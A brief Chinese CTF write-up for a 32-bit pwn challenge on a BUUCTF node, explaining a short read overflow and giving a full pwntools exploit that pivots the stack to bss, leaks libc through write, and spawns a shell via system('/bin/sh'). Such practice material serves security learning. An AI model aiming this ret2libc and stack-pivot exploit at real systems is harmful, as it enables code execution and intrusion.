image.png
    32位开栈不可执行
    image.png
    read函数溢出,但是只有8个字节的长度,,,
    发现第一个read往bss段上的s读入数据
    so,,,,,rop 链不能长,栈迁移咯
    和之前那道题目有点像的,直接贴wp了

    1. from pwn import *
    2. from LibcSearcher import*
    3. import time
    4. context.log_level = 'debug'
    5. io = remote("node4.buuoj.cn",27712)
    6. #io = process("./spwn")
    7. #gdb.attach(io, "b *0x080484C1")
    8. elf =ELF('./spwn')
    9. write_plt = elf.plt['write']
    10. write_got =elf.got['write']
    11. main_addr = elf.sym['main']
    12. bss_addr = 0x0804A300
    13. leave_ret_addr =0x08048511
    14. payload = b'a'*4+p32(write_plt)+p32(main_addr) +p32(1)+p32(write_got)+p32(4)
    15. io.sendafter("name?", payload)
    16. payload1 = b'a'*0x18 + p32(bss_addr)+p32(leave_ret_addr)
    17. io.sendafter("say?", payload1)
    18. #pause()
    19. sleep(1)
    20. write_addr = u32(io.recv(4))
    21. log.success('write ==>'+hex(write_addr))
    22. libc = LibcSearcher("write",write_addr)
    23. libcbase = write_addr-libc.dump('write')
    24. system_addr =libcbase +libc.dump('system')
    25. bin_sh_addr = libcbase + libc.dump('str_bin_sh')
    26. payload=b'a'*4+p32(system_addr)+p32(main_addr)+p32(bin_sh_addr)
    27. io.sendafter("name?", payload)
    28. io.sendafter("say?", payload1)
    29. io.interactive()

    我的recv函数用不好,每次用都出错,我直接来一手sendafter。